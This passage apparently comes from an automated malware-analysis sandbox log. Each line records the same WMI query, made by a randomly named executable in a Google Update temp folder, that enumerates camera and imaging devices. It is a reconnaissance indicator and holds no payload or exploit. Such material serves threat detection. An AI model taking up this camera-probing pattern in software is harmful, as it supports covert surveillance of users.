Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
